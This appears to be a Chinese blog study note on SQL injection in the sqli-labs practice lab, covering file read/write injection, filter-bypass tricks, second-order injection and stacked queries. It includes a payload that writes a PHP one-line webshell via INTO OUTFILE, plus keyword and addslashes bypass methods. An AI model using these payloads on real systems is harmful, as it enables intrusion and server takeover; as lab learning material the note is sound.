補充的一些知識點php
Less-7解鎖的文件讀寫注入。
主要用到的函數和語句sql
load_file(fileName)
:讀取服務器上指定路徑的文件,須要有讀取權限,文件路徑能夠轉爲16進制LOAD DATA INFILE
:load data infile '/tmp/1.txt' ignore into table test character set gbk fields terminated by 't' lines terminated by 'n'將1.txt 導入到test表中,character set gbk
字符編碼爲gbk,fields terminated by '\t'
字段以\t
結尾,每行以\n
結尾SELECT ... INTO OUTFILE 'file_name'
:把數據寫到文件裏,好比插入一句話木馬Select <?php @eval($_post[「mima」])?> into outfile "c:\xxx\test.php" 繞過addslashes()
:這個函數的功能是對一些符號進行轉義,好比單引號雙引號,能夠經過編碼繞過和寬字節繞過數據庫
過濾關鍵字,好比select union or and 等等
繞過思路:改變大小寫 SeLecT uNiON,or、and改成||、&&;編碼繞過16進制 url;添加註釋/*or*/
Less-24接觸到二次注入,先提交一個構造的數據讓服務器接收,再經過第二次操做觸發注入。例:先註冊一個admin'#的帳號,而後登錄該帳號修改密碼,這時候修改的就是admin的密碼。sql語句:updata users set password="new_password" where username='admin'#' and .....服務器
堆疊注入
簡單的說就是多條sql語句注入,例子:...?id=1';select 1,2,3;
注意:oracle數據庫不支持oracle
後面的order by注入語法也差很少,主要就是各類防護方式的組合了,用到的手段其實都是最開始那幾關提到的。SQL注入原理就大概瞭解到這裏。下一篇用sqlmap來實戰,熟悉sqlmap使用以及鞏固注入原理。函數